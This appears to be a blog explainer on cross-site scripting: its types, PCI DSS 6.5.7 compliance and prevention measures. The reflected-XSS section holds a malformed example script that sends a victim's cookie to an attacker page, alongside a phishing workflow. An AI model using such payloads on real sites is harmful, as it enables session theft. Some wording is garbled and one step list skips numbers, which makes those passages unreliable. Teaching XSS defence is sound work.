See Also: What is SQL Injection and How to Prevent It?
Security configurations such as a web application firewall (WAF) should be disabled if an automated tool or manual vulnerability detection is planned. Otherwise, it will be difficult to detect existing vulnerabilities. When we look at its general structure, it blocks malicious HTTP requests transmitted to the server.
Against this situation, attackers will resort to methods such as encrypting the inputs to bypass the web application firewall (WAF). It is possible to bypass systems such as web application firewall (WAF), but the people who will make the detection will therefore need to make a little more effort.
Therefore, it is wrong to use it to eliminate a known weakness. It is important that the root cause of the vulnerability is investigated and resolved. For another reason, the source code analysis of the application can be shown as a different reason for preference.
With the updates made by the developers day by day, the number of vulnerabilities increases due to unsafe coding errors. PCI DSS Requirement 6.5.7 requires your organization to protect all web applications, internal application interfaces and external application interfaces from XSS.
What are the Types of Cross-Site Scripting (XSS)?
Reflected Cross-Site Scripting (XSS)
This type of vulnerability is caused by a one-time exposure to input from the user. In this way, the input received from the user is reflected to him. It will be compiled on the browser according to the response from the server against the input received from the user during the trigger. This vulnerability is a server-side vulnerability type.
Let’s go step by step:
Step 1: The target website is determined,
Step 2: The XSS code is sent to the victim via e-mail or a communication. Here, instead of giving the link directly from the website, link shortening services can be used. When you click on a link like bit.ly/agd5f, it runs as www.website.com/search.php?get=<script… and your information can be stolen.
Step 3: XSS code runs on the user side and connects to the server,
Step 4: The value from the server is transmitted to the user,
Step 5: Distressed objects run on the web browser,
Step 6: Data is transmitted to the attacker,
Step 7: You’ve probably been hacked.
This XSS type is actually a session stealing attack combined with a phishing attack. So how can it steal session information if you attack? With a method like <script alert = “http: //website.com/attack.php? CookieCal=document.cookie();” it gets session information to its website with the GET parameter. Afterwards, by entering your information in the session information section in his browser, he / she will be logged into the administration panel of your website.
Stored Cross-Site Scripting (XSS)
In this type of vulnerability, the input received from the user is the result of repeated exposure. In this way, the input received from the user is recorded and reflected in a hidden form. It will be compiled on the browser according to the response from the server against the input received from the user during the trigger. This vulnerability is a server-side vulnerability type.
We can say that Stored XSS is the most dangerous type of XSS. Because the input received from the user is stored somewhere instead of printing data on the screen, for example to the database. If Stored XSS is detected, there is no need to send the victim the url with the malicious code as with other XSS types. Since the malicious code is already registered in the database, it runs in the background without the victim even noticing, and is very dangerous.
We can explain it step by step and then explain the details.
Step 1: The target website is determined.
Step 2: Harmful codes are injected into the website through the forms on the target website.
Step 3: The retrieved malicious codes are saved in the database without being cleaned.
Step 4: Manager writes on the screen by bringing the information from the database to examine.
Step 7: You’ve probably been hacked.
In this XSS type, you should be aware that you should not save the data from open forms to the database without cleaning them. To explain through the example, you have a contact form that you want to receive information from users.
Document Object Model (DOM) Based XSS
This type of vulnerability is caused by a one-time exposure to input from the user. In this way, the input received from the user is reflected to him. It will compile on the browser against input received from the user during the trigger.
Dom (Document Object Model) is XSS originating from XSS Doms. Generally, it is the XSS vulnerability that is called DOM XSS when the payload is tried after the # sign and when the page is refreshed, the alert is received.
How to Prevent Cross-Site Scripting (XSS) Attacks?
- Search input can be sterilized to include the appropriate encoding control.
- The web server can be set to forward invalid requests.
- Web server can detect concurrent login and terminate sessions.
- Web server can detect simultaneous login from two different IP addresses and terminate sessions.
- The website can only show a few digits of the previously used credit card number.
- The website may require users to re-enter their password before changing their registration information.
- The website can use many different aspects of the Content Security Policy.
- Users can be trained not to click on “looking safe” but malicious links.
Including the data coming from the forms and included in the page with parameters directly from the URL to the page after passing it through various filters on the backend will eliminate the risk of cross site scripting in your system.
To give an example from PHP systems, including the data in the page after passing through functions such as htmlspecialchars, strip_tags, trim will make your site more protected against attacks.
To verify your compliance with PCI DSS Requirement 6.5.7, an evaluator will need to review your application development-related policies and procedures and interview responsible personnel to ensure that your development process addresses validating all parameters and context-sensitive evasion.
PCI DSS Requirement 6.5.7 expects you to have a program to avoid cross-site scripting. From an evaluation perspective, you need to have some sort of whitelist or some kind of character validation to make sure all those escape characters that are stated to cause cross-site scripting are neutralized.
You can find more detailed information about Cross-Site Scripting (XSS) vulnerability on OWASP.
OWASP: Cross Site Scripting (XSS)
OWASP TOP 10: A7:2017-Cross-Site Scripting (XSS)
Nice, Very detailed.
Comments are closed.